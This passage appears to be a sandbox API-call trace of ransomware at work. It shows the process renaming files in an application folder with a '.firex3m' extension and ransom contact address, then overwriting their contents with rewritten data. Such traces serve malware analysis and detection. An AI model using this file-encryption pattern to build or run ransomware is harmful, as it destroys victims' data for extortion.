lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0227.005] CloseHandle (hObject=0x6d8) returned 1 [0227.005] GetProcessHeap () returned 0x630000 [0227.005] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3920 | out: hHeap=0x630000) returned 1 [0227.005] GetProcessHeap () returned 0x630000 [0227.005] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3e48 | out: hHeap=0x630000) returned 1 [0227.005] GetProcessHeap () returned 0x630000 [0227.005] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71768e0 | out: hHeap=0x630000) returned 1 [0227.005] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.005] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d4075a2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0x637fd20, dwReserved1=0x6f3e48, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5500 [0227.006] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0227.006] Sleep (dwMilliseconds=0x1) [0227.011] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x637ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastbeginupgrade.xml") returned 1 [0227.011] GetProcessHeap () returned 0x630000 [0227.011] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x515c) returned 0x6fe3bb0 [0227.012] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0227.063] CloseHandle (hObject=0x66c) returned 1 [0227.063] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0227.063] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.175] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.175] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b81242, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b81242, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x71249d00, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d52c0 [0227.175] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0227.175] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0227.177] GetProcessHeap () returned 0x630000 [0227.177] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x717e148 [0227.177] GetProcessHeap () returned 0x630000 [0227.177] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x6405b0 [0227.177] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.177] ReadFile (in: hFile=0x66c, lpBuffer=0x717e148, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717e148*, lpNumberOfBytesRead=0x637ff0c*=0x220, lpOverlapped=0x0) returned 1 [0227.215] GetProcessHeap () returned 0x630000 [0227.215] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176d40 [0227.215] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.215] WriteFile (in: hFile=0x66c, lpBuffer=0x6405b0*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6405b0*, lpNumberOfBytesWritten=0x637ff0c*=0x220, lpOverlapped=0x0) returned 1 [0227.216] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.216] WriteFile (in: hFile=0x66c, lpBuffer=0x6407cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6407cf*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0227.216] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.216] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0227.216] CloseHandle (hObject=0x66c) returned 1 [0227.216] GetProcessHeap () returned 0x630000 [0227.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6405b0 | out: hHeap=0x630000) returned 1 [0227.216] GetProcessHeap () returned 0x630000 [0227.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717e148 | out: hHeap=0x630000) returned 1 [0227.216] GetProcessHeap () returned 0x630000 [0227.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176d40 | out: hHeap=0x630000) returned 1 [0227.216] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.216] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b81242, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b81242, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d61d6f3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x24e, dwReserved0=0x9187496, dwReserved1=0x717e140, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5200 [0227.216] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0227.217] Sleep (dwMilliseconds=0x1) [0227.232] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style_rtl.min.css", len=0x7a | out: pbstr=0x637ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style_rtl.min.css") returned 1 [0227.232] GetProcessHeap () returned 0x630000 [0227.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5148) returned 0x6fe3bb0 [0227.232] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style_rtl.min.css" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\style_rtl.min.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0227.233] CloseHandle (hObject=0x4bc) returned 1 [0227.233] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0227.233] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style_rtl.min.css" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\style_rtl.min.css"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style_rtl.min.css.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\style_rtl.min.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.234] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.234] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style_rtl.min.css.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x641a4300, ftLastWriteTime.dwHighDateTime=0x1d2d39b, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="style_rtl.min.css.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STYLE_~1.FIR")) returned 0x6d5280 [0227.234] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0227.234] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style_rtl.min.css.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\style_rtl.min.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0227.234] GetProcessHeap () returned 0x630000 [0227.234] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x121) returned 0x6676f8 [0227.234] GetProcessHeap () returned 0x630000 [0227.234] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x121) returned 0x6f1a1b0 [0227.234] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.234] ReadFile (in: hFile=0x4bc, lpBuffer=0x6676f8, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6676f8*, lpNumberOfBytesRead=0x637ff0c*=0x100, lpOverlapped=0x0) returned 1 [0227.236] GetProcessHeap () returned 0x630000 [0227.236] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71766b0 [0227.236] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.236] WriteFile (in: hFile=0x4bc, lpBuffer=0x6f1a1b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1a1b0*, lpNumberOfBytesWritten=0x637ff0c*=0x100, lpOverlapped=0x0) returned 1 [0227.236] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.237] WriteFile (in: hFile=0x4bc, lpBuffer=0x6f1a2af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1a2af*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0227.237] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.237] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0227.237] CloseHandle (hObject=0x4bc) returned 1 [0227.237] GetProcessHeap () returned 0x630000 [0227.237] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1a1b0 | out: hHeap=0x630000) returned 1 [0227.237] GetProcessHeap () returned 0x630000 [0227.237] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6676f8 | out: hHeap=0x630000) returned 1 [0227.237] GetProcessHeap () returned 0x630000 [0227.237] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71766b0 | out: hHeap=0x630000) returned 1 [0227.237] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.237] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style_rtl.min.css.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d6438bb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x136, dwReserved0=0x9187496, dwReserved1=0x6676f0, cFileName="style_rtl.min.css.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STYLE_~1.FIR")) returned 0x6d5580 [0227.237] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0227.237] Sleep (dwMilliseconds=0x1) [0227.260] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style_ltr.min.css", len=0x7a | out: pbstr=0x637ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style_ltr.min.css") returned 1 [0227.260] GetProcessHeap () returned 0x630000 [0227.260] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5144) returned 0x6fe3bb0 [0227.260] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style_ltr.min.css" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\style_ltr.min.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0227.260] CloseHandle (hObject=0x4bc) returned 1 [0227.261] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0227.261] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style_ltr.min.css" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\style_ltr.min.css"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style_ltr.min.css.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\style_ltr.min.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.261] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.261] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style_ltr.min.css.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91a20320, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91a20320, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x641a4300, ftLastWriteTime.dwHighDateTime=0x1d2d39b, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="style_ltr.min.css.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STYLE_~2.FIR")) returned 0x6d4e40 [0227.262] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0227.262] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style_ltr.min.css.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\style_ltr.min.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0227.262] GetProcessHeap () returned 0x630000 [0227.262] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x6fa92e8 [0227.262] GetProcessHeap () returned 0x630000 [0227.262] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x6fa91f8 [0227.262] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.262] ReadFile (in: hFile=0x4bc, lpBuffer=0x6fa92e8, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa92e8*, lpNumberOfBytesRead=0x637ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0227.264] GetProcessHeap () returned 0x630000 [0227.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177830 [0227.264] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.264] WriteFile (in: hFile=0x4bc, lpBuffer=0x6fa91f8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa91f8*, lpNumberOfBytesWritten=0x637ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0227.264] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.264] WriteFile (in: hFile=0x4bc, lpBuffer=0x6fa92b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa92b7*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0227.265] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.265] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0227.265] CloseHandle (hObject=0x4bc) returned 1 [0227.265] GetProcessHeap () returned 0x630000 [0227.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa91f8 | out: hHeap=0x630000) returned 1 [0227.265] GetProcessHeap () returned 0x630000 [0227.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa92e8 | out: hHeap=0x630000) returned 1 [0227.265] GetProcessHeap () returned 0x630000 [0227.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177830 | out: hHeap=0x630000) returned 1 [0227.265] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.265] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style_ltr.min.css.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91a20320, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91a20320, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d68fdd0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x637fd20, dwReserved1=0x6fa92e8, cFileName="style_ltr.min.css.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STYLE_~2.FIR")) returned 0x6d5340 [0227.265] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0227.265] Sleep (dwMilliseconds=0x1) [0227.307] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style.min.css", len=0x76 | out: pbstr=0x637ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style.min.css") returned 1 [0227.307] GetProcessHeap () returned 0x630000 [0227.307] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5140) returned 0x6fe3bb0 [0227.307] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style.min.css" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\style.min.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0227.307] CloseHandle (hObject=0x640) returned 1 [0227.307] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0227.307] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style.min.css" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\style.min.css"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\style.min.css.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\resources\\style.min.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.308] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, 